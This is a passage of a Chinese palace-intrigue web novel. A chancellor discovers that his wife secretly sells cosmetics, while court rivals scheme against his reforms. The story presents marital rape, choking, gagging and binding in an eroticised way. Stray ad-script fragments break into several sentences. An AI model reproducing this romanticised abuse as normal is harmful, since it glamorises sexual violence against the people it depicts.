耿婳对此一点也不意外。她嗯一声,停下手边的活儿,“我去沐浴。” 她像原来一样恭顺,只是平静了不少,好像他来与不来,都不会惊起她心中波澜。 耿婳很快沐浴完出来,他竟然已经把小案收拾走了。 刚才衣冠整洁的男人,眼下只穿着里衣里裤。这是在等她了。 耿婳没多看他,脱鞋钻进红帐,平躺着闭上了眼。 窗外阴风肆起,不知何时下起了雨。 四周混黑一片,窸窣的脱衣声充斥着耳膜。她像只待宰的羔羊,静静等候猎人的屠刀。 许久没做,撕碎身体的痛苦再一次袭来时,感觉比往常还要猛烈。 她忍着拉扯间的剧痛,感受着身体不受控制,不断被撕裂填充,再撕裂,再填充。 耿婳别过头,咬紧牙关屏气。她宛如一株坚韧的蒲草,接受着难以承受的风暴。 除了必要的相连,她与他再没任何接触。 耿婳全程都好安静,安静得像个死物。唯一能确保她活着的,只有滚烫的体温。 魏巍见她兴致平平,于是加大了力道,直到她眼冒泪花才算满意。 夜雨凌冽汹涌,窗外花枝飘零。烛火摇曳着扑灭时,他方停下。 男人做完这事,披衣就出了红帐。 香几里的兽头香炉燃尽,缥缈的青烟环绕在床榻,氤氲出欢愉后尚未消散的香艳。 好不容易挨过这场可怕的房事,耿婳累得连盖被子的力气都没有了。 她手一摊,昏睡过去。 魏巍从浴房回来时,隔着红帐,他瞧见里面的人儿。 她好像很没安全感,睡觉永远要缩成一个团。被汗水浸湿的长发紧紧贴着雪体,一只手臂自然横过来,把床占了个大半。 他没有地方睡觉,除非把她弄醒。 眼前人已经熟睡,眼角山根处尚留着一小湾泪。 她怎么这么爱哭? 魏巍给她盖好被子,束上革带要回书房。出内室门时,他好像踢到了什么东西。 角落里有个针线笸箩,里面放着打好的鞋底和皮革。 借着月光,魏巍俯身细看,上面已经积了灰。 从那天起,耿婳再没有碰过针线笸箩里的针线活。 二十盒香粉做好后,耿婳带出去交给伍听肆。 会面的地点是青云楼。据说是出了新品鱼菜,伍听肆特意请她来吃。 她还写了十页纸的宣传方针。 “卖货的时候先打开一盒让顾客试用,香粉的功效我都写在纸上了。” “这香粉盒子怎么不一样?” “两个可以拼在一起。”耿婳演示了一下。两个黄花梨木盒子如鲁班锁一样紧紧相接,嵌成一体,形成一个完整的立方。 “大奉男子也爱用香粉,正好做成一对儿,卖给痴男怨女。买两件要有优惠,这样他们都会买单的。” “你个大聪明!” 伍听肆把玩着那些有点机关性质的香粉盒子,笑道:“这东西还没在市面上出现过。要是能量产,我保证能卖爆!” 正如伍听肆所言,那些香粉当天下午兜售一空。伍听肆再回雅间时,直接丢给她一袋银子。 “二十盒香粉转眼成了一百两纹银,戏法儿都不敢这么变的。没买到的姑娘还喊我快点进货哈哈……” 耿婳摸着沉甸甸的钱袋,抿唇笑了,“真的假的,这么夸张?” “你又不是没看到。” 伍听肆去街巷专挑衣着华贵又年轻貌美的单纯少女推销,耿婳在楼上看得真真的。 “都是小肆哥哥的功劳,要换成我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 连拦人说话的胆儿都没有。”耿婳打开钱囊,分了五十两银子给他。 “我用不着这么多。”伍听肆一分也不想要,怕她不干,就象征性留了五两。 耿婳攥着剩下的钱,露出甜甜的笑。她第一次拥有这么多零花钱,而且都是靠自己赚的! 自豪感油然而生,一时间喜不自胜。 之前听熹微姑姑说这一行油水丰厚,她本来半信半疑。现在终于明白为什么耿忠能把采荷居的生意做得越来越红火。 美妆行当的市场本来就大,只要工艺好会营销就能进去分一杯羹! 伍听肆道:“我记得,你家也是干这行的。” 耿婳回道:“对,是我娘亲打下的基业。”现在却给别人做了嫁衣。 一想到耿忠和杜氏,她心里岂能不恨。 “小肆哥哥,我想请你帮个忙。” 伍听肆拍拍胸脯,“只要是我能办到的,一定赴汤蹈火。” 耿婳惊道:“我还没说是什么呢,或许有点风险。” “你先告诉我啊。” 耿婳想请他帮忙把耿家采荷居的方子偷出来。那本来就是娘亲留下的遗物,是她一生的心血与梦想! “这倒有点难了。”伍听肆家里三代从商,多少沾染了些江湖势力。可但凡小有成就的商人,哪个又是省油的灯。 这种行业机密就好比蟹堡王餐厅里的蟹黄包配方,会被老板严密保管收藏,岂会那么容易被同行拿到手? 耿婳早有心理准备,听到这样的答复也没难过。 伍听肆倒是笑了,“怎么,想踏上我的船了?” 耿婳没理会他的调侃,道:“不知道能不能和小肆哥哥继续合作。” 她又补充:“我们五五分成。” “合作没问题。不必五五分,我取三你取七。只是你一人制香怪辛苦的,不如你把配方交给我,我雇人赶工,你只管收钱。” “那怎么行。”耿婳很想亲力亲为。一来觉得生意必须明算账,分清利益才不容易出错。二来她确实不放心旁人接触娘亲留下的秘方,也想亲自实践学习,不仅能打发时间,还能转移注意力,放下魏巍。 她再三强调,言辞恳切,伍听肆就依了。 从青云楼吃完回去,耿婳整个人春光灿烂。她把鼓鼓的钱袋藏在肚兜里,捂着肚子就往外走。 她戴着帷帽和伍听肆并肩下楼。楼上与夫君一起赴宴的柳惜君一眼认出这个熟悉的身影。 “那是耿婳?!” 魏嵘伸长脖子,“她怎么和外男走在一起?” 柳惜君正愁抓不到她的把柄。 “幽会?这下有意思了。”她话里藏着幸灾乐祸的笑意。 “别声张,当心坏了府里名声。”魏嵘道,“你派人盯着她点儿,等有了确凿证据,再上报兄长,家法伺候!” “还是你周到。”柳惜君捂嘴笑。 18. 018 炎炎夏日,书房内门窗紧闭。浓郁的香薰自四处的香炉蔓延而出,一时间密不透风的屋子俨如桑拿房。 王司空上岁数后湿气重,最喜欢在这闷热如蒸笼的书房里独自焚香冥想。只可惜今天多了个扫兴的人。 刘理坐在一旁圈椅,汗水涔涔,湿透衣袍,不知道的以为他刚沐浴完没擦。若不是有求于外公,他这辈子都不会来这炼狱般的地界。 “大理寺少卿尚主在即,是快成家的人了,怎么还有空来老朽这边转悠?” 王司空背身负手而立,不紧不慢地调香。 他久居官场,最会阴阳怪气装模作样这一套。刘理只好道:“魏巍把朝里搅得鸡犬不宁,司空就心甘情愿看他们胡来?” 王司空明知他的来意,仍稳如泰山,一言不发。 又过了一刻,刘理忍无可忍,开始打感情牌:“外公知道我为新政而来,您可要帮帮孙儿啊!” 王司空忍不住笑:“你也好,魏巍许渊也好,都是我的弟子,这手心手背都是肉,你让我如何割舍?” 他转身又道:“好歹有些同窗之谊,非要赶尽杀绝?” 若不是知道王司空在官斗中明里暗里的那些勾当,刘理差点把他这话当真了。 “孙儿这条腿被他所废,就算不致人死地,也要把欠我的讨回来!”刘理瞠目切齿,跪倒在地,“还请外公为我出一口恶气!” 王司空岂能不知,东宫伴读之时,刘理和魏巍就是并列前茅的冤家,优秀又相似的人,不管做什么都要比一比。今日关系闹得如此僵,完全在他的意料之内。 “论才学实干,你不如他。论官场之道,他不如你。”王司空埋着皓首,缓缓走来,“魏巍为人刚直,新政雷厉风行,却不知钢之过烈易损其刃,早晚都要栽了跟头。” 他扶起外孙,又道:“新政只是个幌子。官家打压守旧老臣,无非是要求个分权制衡,稳而不乱。” 王司空又问:“你要是新登基的天子,最怕什么。” “怕文武大臣沆瀣一气,前朝后宫勾结算计,怕……”刘理闷头说着忽而醒悟,即刻道:“圣上最怕结党营私。如今魏巍被参奏,许渊还为他出头……” 王司空给他掸去衣袍上的灰,笑道:“这不机灵着呢。” “圣上最怕朋党,他们这是往枪口上撞。”刘理福灵心至,计上心头。 “凡事究竟证据。你想好怎么办了?”王司空问。 “魏巍做事滴水不漏,需从他周围人下手。汪子元祖父过失,多少和新政有关。再有,他那个小媳妇儿娘家,是个商户。” “商户?” “进来。”刘理挺直腰板,抬高声音。 “吱呀”一声,门被快速打开又闭合。早在外面候着的耿忠闪身进来,扑在地上就是一跪,屁股还撅得老高。 “小人见过刘大人,王大人。若有用得上小人的地方,尽管吩咐。” “瞧啊,这就是魏巍的岳父。”刘理笑得开怀。 王司空立刻道:“那还不快扶起来,赐座。” 耿忠大气不敢喘一下,他半辈子经商,染得浑身带泥,全靠给大理寺少卿行贿才能全身而退。 他决心投靠刘理,至于魏巍,空有个金龟婿名号,却不见实用。也都怪耿婳那丫头无能,白长了张好面皮,连个男人都套不住! 耿忠心里又咒骂了耿婳几句,刚战战兢兢坐下,就听见上边大人物说:“耿员外家中幼子如今十岁,正是发奋用功的年纪。” 可见王司空调查过魏巍的婚事,连人家老丈人的家庭都了如指掌。 “外公糊涂了,我大奉多少年的规矩了,商人之子不可参与科举。” 耿忠老脸一红,哈腰道:“是,刘大人说得极是。” 他尴尬笑笑,又恬不知耻道:“除非拜谒,有贵人引路。” 这就差把“我替你们做事,你们拉我儿子一把”写到他那张皱巴巴的大黄脸上了。 王司空何等人,怎会不知他这点小心思。他笑得和蔼,“自然自然。国子监那边要招收十岁适龄学童,千载难逢的机缘,正好带上令郎。” 刘理一扬眉毛,想起这事。新政以科举为着力点,也包含着最高学府国子监的教育改革。这次魏巍要破格选拔十岁幼童提前培养,以为己用。造化造化,他们正好趁机添把柴! 刘理哪知是计,膝盖骨一软,又当一声跪地拜谢。 王司空嘴上说着热络话,还请这人喝了茗茶,这才打发走了。 一看自家外孙还杵着,王司空甚是不耐:“刀都给你选好了,还不满意?” 刘理忙道:“满意,自然满意。” “记住,必要时……”王司空还没说完,刘理即刻笑着朝脖颈比了一道。 “孙儿明白。” 整个院里人都知道耿婳变了。变得不只面容,还有精气神。 之前一直病恹恹的,现在白里透红,满面荣光。她给自己置办了新衣裳和新首饰,穿得花红柳绿,每天屏退众人,只闷在内室里和熹微一待就是一整天,不知道搞鼓什么东西。 魏巍忙于政事鲜少回来。偶尔让玄海接她过去,就是做那事。 耿婳每次都表现得无比顺从,习惯痛苦后甚至连默默流泪都不会了。 无所谓,她就当做了场噩梦。只要魏巍不妨碍她的小生意,他想怎么样她都配合。 自从有了事业,耿婳不知不觉变勇敢了许多,看着自己的钱包一点点变鼓,她莫名有了底气,想要继续努力踮脚去够更远的目标,于是每天都有使不完的劲儿。 这一天她又把制作好的胭脂膏子带去给伍听肆。 他们约好的地点是青云楼附近的小巷。 巷口幽深,被高大的酒楼遮掩的平平无奇。但凡是个正常人,都不会往里面多看一眼。 胡同深处,耿婳倚在垂柳旁,怀里捧着一个小布袋。她静静等了一会儿,约定的时间过了一刻,还没见人来。 她掀开帷帽,左顾右盼。 “哈!” 伍听肆不知道从哪里窜将出来,吓了她一跳。 “我故意的。”他还在嬉皮笑脸,“就是想看看你会不会等不及了摘帷帽!” “幼稚。”耿婳有点气,伸手要去扯他耳朵。 她要欺负他,伍听肆哪里肯,掉头就跑。 两个人拉拉扯扯,追逐起来。阳光下,少年爽朗的笑容回荡在空荡荡的巷子里。 殊不知这温馨和谐的一幕早就被人监视个干干净净。 青云楼上,魏嵘被盯梢的仆从提醒着,看到了巷子里嬉笑的俊男靓女。这个角度居高临下,街巷的人流车马一览无余。 魏嵘攥紧栏杆,“这个贱妇。” “公子,您看那是——”侍从指道。 魏嵘顺着他的指向往下看。青云楼下,魏巍刚从马车上下来。他今日来此赴宴,却被巷口里熟悉的声音吸引。 说熟悉,却也陌生。因为他从没听过耿婳这般鲜活清脆的笑声。 面对他时,她总是紧张恭顺,字斟句酌的。 他甚至不敢相信巷子里的人是耿婳。凑近几步,他处于一个相对安全不会被发现的绝妙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 位置,细细窥看里面的人。 耿婳珠翠金簪,穿着鲜艳夺目的石榴裙。乌发半披着,打扮得像个未出阁的黄花闺女。金灿灿的阳光给她白皙的皮肤镀了一层天然滤镜,一颦一笑,格外媚人。只看一眼,就叫人移不开视线。 不过,这样的纯粹动人的笑靥却不是给他的。 他转而看到她身边少年。银冠高马尾,柳眉瑞凤眸。他身高和耿婳差不多,看模样年龄也相近。他们嬉闹玩笑,好像早就认识。 少年好像和他很熟,引她进了旁边小院、魏巍迈步跟了上去。 堂堂丞相隔着门缝在巷子里偷窥,这很荒唐。但耿婳从小受戒极少出门,怎么会认识外男? 疑虑自心头涌起,逐渐变得不受操控。他不知道这种古怪情绪从何而来,只知道自己打心底厌恶这种如杂草般滋生的烦躁。 俊男美女柳下私语的画面近在眼前,他越看越觉得碍眼。 魏巍不待见这个举止轻浮的少年,连带着对耿婳也产生了厌恶。每每他心绪不稳,多半和她这人有关系。 他目力很好,离得远也能认清。 少年的声音脆生生的,尚且夹带不成熟。 耿婳不解气,还在院里追打他。她一着急,步子迈大扯到腿根。嘶一声倒吸凉气,那处又肿疼起来。 她这副表情被伍听肆尽收眼底,他未加冠,但已经省事。 伍听肆咬牙:“那个魏老头儿又欺负你了?” “嘘!”衣着鲜亮的少女手指捂唇,脸红道:“别瞎说。” “我问你是不是!” 耿婳蜷起手指,撇过头淡声:“也不算欺负。” 她继而叹气,“没办法,谁让我是他媳妇。” 是她活该找罪受。 “婳婳,你受委屈了。”伍听肆红了眼,双手扶住她纤瘦的臂膀。 陪同在魏巍身边的玄海看着这人大逆不道的举动,早已忍无可忍。谁知里面人还敢张狂。 “我要带你走!离开这个鬼地方!” 耿婳忙去捂他的嘴,劝诫道:“你可不要胡说,当心被人听了去。他那么大的官,踩平民百姓还不是跟踩蚂蚁一样。” 她根本没资格离开相府。因为她没去处。 “难道你还想守着他不成?再过几年他身上就有老人味儿了,当心熏死你!” 伍听肆又道:“我还不知道他们这些当官的,表面上为国为民,背地里净干伤天害理的勾当,说到底还是为了他们自己。呸!一个比一个虚伪!” 耿婳柳眉微蹙,好言好语劝慰他。 玄海从未见夫人这么鲜活。她平时在相爷面前永远听话照做,宛如死人。 玄海悄悄抬眼看主子。 魏巍沉着脸,黑眸深不见底。 他踩起地上小石子碾了再碾,倏地踢了出去。 石子碰到了墙面,发出了不大不小的声响。 “谁?”耿婳闻声道。 她慌乱着打开木门,巷里空无一人。楼上侍从眼看丞相拂袖而去,回了马车。 “相爷怎么熟视无睹?” 在他看来,丞相过于冷静,冷静到与外男幽会的人好像并不是自家夫人。 魏嵘道:“难不成兄长还要在外面捉奸?他那身紫袍太过显眼,这里又是官员下值必经之路,万一隔墙有耳,免不了一场风波。” 况且兄长最爱面子,表面云淡风轻,回家定会好好算账。这下有好戏看了。他那个人,越是冷静,越是可怕。 “走,我们也打道回府。”有好戏看了,魏嵘轻快地下楼。 19. 019 日薄西山,天边燃起火烧云,红黄相融的亮色笼罩着相府后院,就好像起了火一般。 耿婳戴着帷帽,从后院角门进来,一路偏僻绕行,没被任何人发现。 真是惊险又刺激。 她窃喜着回了院里。门可罗雀的庭院与往常并无二致,顺着廊檐回屋时竟意外地没看到阿沁和青烟。 平时她们总在这儿嗑瓜子偷闲。她管不住,也懒得管。 迈进门槛时,她脸上尚带着清浅的笑。只是明间还如往常一般寂静,静得有些发死。 耿婳摘下帷帽,自然打开隔扇:“姑姑我回来啦!” 下一刻,拉门的手僵在一边。 不大不小的内室满满当当跪了一地下人。 魏巍坐在桌旁,恭候多时。骨节分明的手指有一下没一下点着桌案。案面上的制粉物什堆成小山,好似被搜刮出来的作案工具。 旁边的玄海肃穆而立,看见她时脸上的嫌恶一点也没收敛。 魏巍也在打量她。 来人一袭曳地石榴纱裙,与他对视的一瞬花容失色,臂弯的披帛和嘴角的笑容一同掉了下来。 如此纯真爽朗的笑容,好像绚烂而短暂的昙花。但不是给他的。 不仅不是给他的,而且还是被他吓退的。 心里那团不知名的怒火又烧了起来,随着她恐惧慌乱的神色愈烧愈旺。 内室里死气沉沉,下人们俯身埋头,鼻尖点地,大气都不敢出。魏巍看看她,又瞥一眼“脏物”,分明是在等她解释。 耿婳知道做买卖的事露了馅,上前两步,心虚地跪在了他脚边。 “相、相爷。” 她垂着头,小脸煞白,胸脯紧张得起伏着。 许久,魏巍轻笑:“去哪儿了这么高兴。” 她果然睫羽忽闪,呼吸微乱,指尖掐着裙边,什么话都说不出口。 “我、我……啊!” 支支吾吾的一瞬,下巴被一只有力的大手箍住。耿婳被迫昂着头,与那双锐利的凤眸对视。 随着他难以预料的举动,周围人身形皆是一绷。熟悉他的玄海也甚是惊诧,从未见过他如此失态、如此狠厉。魏巍素来是个清雅文人,不动声色,什么事能把他气成这样。 魏巍眉宇间露出罕见的阴鸷,耿婳这下什么都明白了。 他是那个偷听者。 不说实话,是不行了。 “回相爷,妾做了些女儿家的小物件,托人拿出去变卖,贴补家用。” 说完,耿婳又迅速看了眼魏巍。他仍冷着张脸,肯定是觉得丞相夫人行商有失体统。这才生气的。 于是她小声补充:“听闻圣上躬行节俭,老爷风雅治家。妾身不才,也想为相府尽一份绵薄之力。这才想做些小买卖,不想瞒了相爷,实在该死。相爷若觉得不妥,妾身以后再也不敢了。” 魏巍哪里想听这些。 “什么人?” 她不说话。魏巍掐着下巴的手往下挪了一寸,猛地收紧。 他压低声音:“你和什么人做买卖?” 纤细修长的玉颈一掐就断。耿婳眼尾迅速染上绯红,痛苦呻.吟起来。可她怎么能把伍听肆抖落出来。 “小姐!”熹微膝行过来正要劝阻,却被玄海一把按住。 “大人饶命啊,都是奴婢指示的,和小姐无关……” 魏巍抬抬下巴,示意他清人。 下人们如释重负,拖着一身冷汗麻溜儿地脚底抹油。 玄海走前关上了隔扇门。内室骤然只剩夫妻二人。 魏巍给足了她面子,他没在。 如今四下无人,方才又问:“你和什么人私相授受。” 耿婳怕连累伍听肆,又恐魏巍彻查,只好点头要答。喉管被强劲的力量碾压,发出几声撕碎的哑音。 她要说话,他才泄力。 “儿时……儿时故友,咳咳……没有私相授受,只是把制好的胭脂水粉托他变卖……” 耿婳捂着嗓子剧烈咳嗽,断断续续的一句话抽干了最后一丝力气。她柔弱倚靠在他腿边,羸弱的身子如风雨中飘零的蒲草。 魏巍心底涩意未减,眼前一幕又莫名其妙牵扯出浓郁的痛楚。他从不与忤逆自己的人共情,可这一刻仿佛自己的脖子也在隐隐作痛。 好生奇怪。 他不知道这种感觉从何而来,也不知道刚刚发疯时用了几分力,只是能清晰看见她下颌处红肿的掐痕。 她过于娇软,稍微一碰就会碎。 饶是生出怜悯,魏巍仍绷着脸:“只是故友?” 耿婳缓了好一会儿,才回道:“是的。他许多年前随父离开洛阳,最近偶然遇见……咳咳,小时候、小时候有些兄妹情谊,他才愿意……愿意帮我卖货。” 她水眸清明,神色坚定,不是在撒谎。 即便如此,魏巍仍觉不爽。因为意识到可能是占有欲作祟时,他又生出烦闷和疑虑。 他必须找她确认清楚。 耿婳不知危险到来,猝不及防又被掐住脖颈。这次这人加大力道,恨不得治她于死地。 她手指青筋鼓起,圆球微凸,慢慢的眼神开始涣散,注满泪水的眸子恳求地望着她。好像在无声诉说自己的无辜。 魏巍看她受苦,五脏六腑像被连根拔起,周身血液直逼颅顶,激得眼底充血,也跟着湿润了。 怎么会这样? 他颤抖着松手,耿婳像脱线木偶般颤巍巍倒在他脚边,再无一丝挣扎的力气。 魏巍这是在罚她。 耿婳摸着脖子喘息。每呼吸一次,都会牵扯着喉管产生撕裂一样的疼。 也还好。至少比和他行.房舒服一点。 耿婳连行房都不怕,更不会怕被掐脖子。她只要不死,只要还活着,她就什么也不怕! 她自以为坚强,却在他看到桌案上香粉配方时慌了阵脚。 魏巍道:“来人,把东西扔了。” “不要!” 耿婳双手揪住他的袍子,顶着凌乱的发拼命摇头。 “相爷您怎么罚我都好,这营生是从我娘那里传来的,求求您……” 玄海即刻开门,看一眼屋里人立刻低头垂眸,麻溜儿收走桌面杂物。 “不,不要!”耿婳哭出了声。 她膝行着去拦玄海,却被魏巍拽到了跟前。 “你干什么!”耿婳尖叫。 拉扯间,她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的衣衫褪去大半,她狼狈地瘫坐在地,仰头哭得梨花带雨,柳眉微蹙,双目水波缱绻,朱唇微张,喘息连连。 她在控诉,在小声叫屈,饱满的唇珠勾人探寻,沉甸甸的柔软随着胸腔起伏而抖动。 魏巍看得又窜起火来。 “你还委屈了?”他蹲下身,把她洒落在地的披帛缠绕成团,没等她反应,直接深深塞进口里,拦腰将人抱起扔进帐里。 他的罚还没开始呢。 直到和他上了床,耿婳才知道是真动了肝火。撕心裂肺的冲撞逼得她泪水横流,耿婳反抗得厉害,手脚被他用绦带捆在床柱上,再不能动弹。 魏巍将所有火气宣泄在一方红帐内,她陷在他强势的桎梏里,除了仰头发出模糊的呜呜声,什么都做不了。 一轮结束,香汗涔涔,泪目含情似有讨饶之意,怎不惹人怜。 魏巍抽出她口中披帛,耿婳干呕两下,道:“求你,求你别查小肆哥哥……” 他等来的是她对别人的掩护。 “我对天发誓。我们,我们清清白白……”她没有认错,甚至还为那个男人辩解。 耿婳还没说完,就被迫陷入又一轮猛烈的攻势中。 整整一夜,少女的声音从隐忍到嘤咛再到哽咽,最后又从哭嚎变成沙哑。 他没堵她的嘴,却没听到一句想听的歉意。 晨起去给母亲请安时,看见她赤条条酥软在拔步床靠墙的位置,离他足有八丈远。 昨天夜里,耿婳的事就传进了杨氏耳里。 今早见儿子来请安,她本来要拿这说事,却被魏巍先堵了嘴。 “母亲若要问及内宅,无可奉告。子虚乌有的流言,不知何人所谓,是何居心。”他瞟了眼魏嵘。这家伙心虚地躲开眼。 “我房里事还容不得别人置喙。”这话明显对着柳惜君夫妻俩说的。 手眼通天的丞相还会不知道他们明里背里那些小手段,作为魏家实际的主人,这座府邸里多得是他的耳目。 魏巍把话说到这份儿上,相当于下了警告。 朝堂之上,党争闹得沸沸扬扬。魏家内部更要拧成一股绳,不能有任何裂痕。 他走出去,魏嵘脸色难看地跟了上来。 “哥,耿婳她不知廉耻!” 魏巍吼道:“住口!” 魏嵘何时见他这般大发雷霆,呆道:“你袒护她……” 他话没说完,就收到兄长的眼刀,吓得不敢吱声了。 魏巍拂袖而去,去看年迈卧病的父亲。魏嵘回了屋,安慰母亲:“大哥就是死要面子活受罪,硬撑着呢。” 柳惜君又道:“是啊,这事您可不能不管。” 可惜杨氏是个色厉内荏的,刚才魏巍拿出些官威,就把她唬住了。她只道:“我有什么办法,他偏不让人动他房里人。” “母亲,丞相的意思是不许动他房里女人,又没说不许动下人。”柳惜君道,“我听青烟那丫头说,耿婳从娘家带回来个心腹。这些天,想必都是她从中周旋……” 柳惜君欲言又止,杨氏扬起眉毛:“把那贱人拖出去严审!” 如果能揪住耿婳的小辫儿,正好将这大逆不道的贱妇扫地出门。 20. 020 短短几日内,年轻的天子同时收到了保守派和革新派不胜枚举的奏本。 保守派以许渊为题,参奏魏巍多年培育朋党,结党营私。不管真假,黑白颠倒着让御史台的亲信写了一本又一本奏章。 革新派则以刘理为中心,指责保守派官员利用职务中饱私囊。魏巍从大理寺盗来的卷宗是最大的证据。 上面罗列了大理寺少卿威逼商户,收受贿赂的详情。魏巍第一次过目时,就看到了个熟悉的名字——耿忠。 许渊当时犹豫道:“要不把你岳丈划掉?” 魏巍哪里肯。他一生磊落,有就是有,无就是无,从不做昧良心的事。耿忠做了违德的事,该有这一遭。 这便给保守派留了一丝缝隙。近日驳斥参奏的他的本子数不胜数,刘理甚至拿耿忠之子破格入国子监说事,于早朝指责他以私废公。 这是被皇帝叫来私谈的导火索。 太极殿的偏殿里,魏巍立于下首。年轻的天子看着堆成小山的奏本,眉宇间压起阴霾。 新政实施将近一年,除了稳定社稷的理想抱负外,更多的是纵横寰宇的政治野心——一朝天子一朝臣,换掉前朝老臣,组织自己的一帮人马。 新政无疑是块试金石,改革弊政的同时,还能制衡朝野。两派的纷争在他的预料之中,却发展得有些拿捏不住。 他之前就做过最坏的打算,若真到了白热化的地步,只需要献祭这个牵头人。 于是他看了一眼魏巍。 “新政处处受阻,爱卿可有良策?” 魏巍问道:“敢问陛下,阻从何来?” 新政伊始,他就持起了统领的旗帜,那些碍事的人自然以他的雷霆手段驱除干净。一路走来,巴结谄媚之人不少,可得罪的人也不少。 之前从未见天子半筹不展,如今反问起他,不得不让魏巍确信——陛下对新政也有动摇的心思。 从私下召见他的次数减少开始,就已经出了问题。 威严的君主自然不会正面回答他的话,话锋一转道:“朝廷上刘理的参奏,朕替你挡回去了。眼下又无旁人,有什么冤屈,但说无妨。” 这无疑是施压,也是试探。 天子本就多疑,朝野上三人成虎,难免产生嫌隙。 魏巍回道:“卑职不知此事,商人之子不许参加科举,若能进国子监,想必费了不少周折。臣有大理寺少卿徇私的文证,其中包括和耿忠私相授受的往来记录。此人是卑职是岳丈,臣若假公济私,就不会参奏。可见背地里运作的,另有其人。” 他轻轻松松把矛头指向刘理,此间道理,手眼通天的皇帝岂会不知。 “朕怎么看,不重要。爱卿一人如何看,也不重要。重要的是,如何让满朝文武信服,如何让天下人心服口服。” 人们不会相信真相,只会相信他们愿意相信的事。这是亘古不变的真理。 谈及此,天子总算把窗户纸捅破了。 “眼前形势,于新政不利。何止朝野,民间流言穿得满天飞!” 皇帝提及的流言,魏巍也知晓。他自诩清正,从不在意。只是自汪琳去世,汪家与相府再无走动,即使汪子元也一避再避,关系确实生分了不少。 “百姓最爱嚼人舌根,汪琳之死与新政有牵扯,即使与你无关也瓜田李下。他家女婿中了进士,这在他们口中成了你掩饰暴政的遮羞布,说你是心虚自责,才做了手脚包庇他高中!” “身正不怕影子斜,臣未做过的事,无需解释,更不会心虚。” “可朝中同僚找汪子元求证,说确有此事。”天子轻轻拿起奏本,重重放下。 此话一出,饶是魏巍也愣怔。天子示意魏巍过目,这是汪子元的奏章,也是他的忏悔书。其中洋洋洒洒写下魏相对汪家的愧疚,以及科举场上的徇私舞弊。言真意切,字字泣血,恳求陛下宽恕。 魏巍轻轻合上奏本,后背出了一身冷汗。 自王司空出山后,被新政打压的保守派势力不断反扑,现在已经火烧眉毛。他来不及多想汪子元的背刺,只听见皇帝的埋怨。 “眼下稳住舆情才是重中之重。你说该如何应对?” “卑职不知。舆论纷扰因新政而起,闹成这般田地,臣任由责罚。” 天子等的就是这话。他不是没主意,只是需要魏巍把他抛出去的球再踢回来。 他要他离开一段时间,暂避风头。等舆论消了,再回来主持大局。 魏巍急道:“臣若一去,新政何人能抗?” 他并非贪图京城富贵,只为改革担忧。皇帝的私心他不是不知,明面上为他考虑,实则是要安抚势力强大的保守派,拿他略施小惩,开一次刀。 毕竟之前魏巍裁决了阻碍改革的保守势力,这回他受些委屈,才能平怨,也是天子平稳朝纲的必然之举。 天子安慰道:“兖州地界却有水利待兴,正缺一个掌舵人。你去也是一番历练,京城新政由朕负责,断不会轻易废弃。” 这是在对他打包票,好让他放心。为了安抚以魏巍为首的革新派,天子下令惩治刘理,又对与他勾结的商户进行查封,轻者罚税,重者入狱。 耿忠不偏不倚,正好是重者。由此一来,魏相大义灭亲的美名传遍了整个洛阳城。 而谈及对刘理的惩治时,许渊最是不忿。 “圣上真是偏心,只罚俸一年。他这厮家底本来就厚,马上又要和公主大婚,哪儿差这仨瓜俩枣?” “事已至此,再抱怨也无用。”魏巍不怪天子的降旨,只是没想到汪子元会临阵倒戈,杀了他个措手不及。 许渊骂道:“他这人最可气,真是不辨忠奸助纣为虐!还散播谣言,混淆视听!” “天子一怕朋党,二怕百姓悠悠之口,两者都被王司空拿捏得恰到好处。”魏巍笑得洒脱,叹道,“老师就是老师,为官之道玩得比谁都明白。” 许渊幽幽道:“你竟还笑得出来。” 来日方长,他心态一向都好,去地方考查一直是魏巍向往却不得的事。 如今机会摆在眼前,抓住了才好。 耿婳还不知道全家人锒铛入狱的事情。她被关在了魏巍院里,哪里都不能去。 夏日蝉鸣聒噪,烈日炙烤着府邸,烦乱杂续的气氛乌泱泱压下来。 耿婳倚在软枕上披发仰头,隔着单薄的窗纸呆呆望着外面日色。 她被魏巍关了禁足,隔了一日,熹微姑姑也被带走了,是她连累了她。唯一的解决方法,就是讨好魏巍。 虽然她并不想,但还是拿出了之前给他做革靴的针线笸箩。 “小姐顶着日头看什么,当心伤着眼睛,眼睛坏了可就做不了鞋了。” 阿沁饶有兴致地看她。眼神玩味,语气里幸灾乐祸的笑意藏都藏不住。虽然耿婳吃瘪对她没什么好处,但至少给无趣的生活增添了些许色彩。 耿婳像是没听到,又愣了好一会儿才缓缓回头,看着笸箩里积满尘埃的皮革和鞋底。 瞧见她眼里的一片死意,阿沁只觉得晦气,撂下东西,直接撤。 耿婳一手伏案,一手托腮,素面披发,不施粉黛,日光下如水晶般剔透。她望着笸箩里的东西出神,怎么想也想不明白。她之前怎么那么闲,还想着给别人免费做靴子。 当真可笑。 她讥讽地哼笑一声,嘴角继而垮下去,眼泪啪嗒落在灰尘上,留下豆大的水渍。 她没了生意,断了财路,失了母亲留给她最后的念想和牵挂。 连最疼她的姑姑都保护不了。 还要给一个根本不爱她的人白白付出。 凭什么。 晚上,那个人又来了。 耿婳还像白日那样,垂眸看着笸箩发呆。听到他脚步声,耿婳抬头看了他一眼就默默别过身子。 室内安静得闻针可落,魏巍坐在小案另一侧,她不说话,他才不说。 过了一会儿,耿婳说:“我姑姑呢。” 魏巍没说话,显然对她的态度不满意。她把视线从地面转移到魏巍身上:“我给你做靴子。” “这就是你的成果。” 他望了眼笸箩,里面的东西一动不动,只有被水渍打湿的痕迹。 这一整天,没了那些脂粉膏子,她就惫懒成这样。 她的眼睛红的像兔子一样,眼神却没了畏惧。 魏巍饶是震惊,平时她看他,永远都不敢直视,也不会如此平静。 那双媚眼没了灵气,直勾勾看他。 “我就知道。” 反正又是来糟践她的。只有这样,才算讨好,才算合他心意。 自从发现他最大惩罚就是房里事,耿婳就一点也不怕他了。反正死不了,也躲不过,那还不如坦然接受。毕竟她又不是在榻上卖力气的人。 耿婳站起身来,歪头看他,眼里古井无波。她慢慢解开衣带,束身的衣襟骤然松垮,露出曼妙的身体。 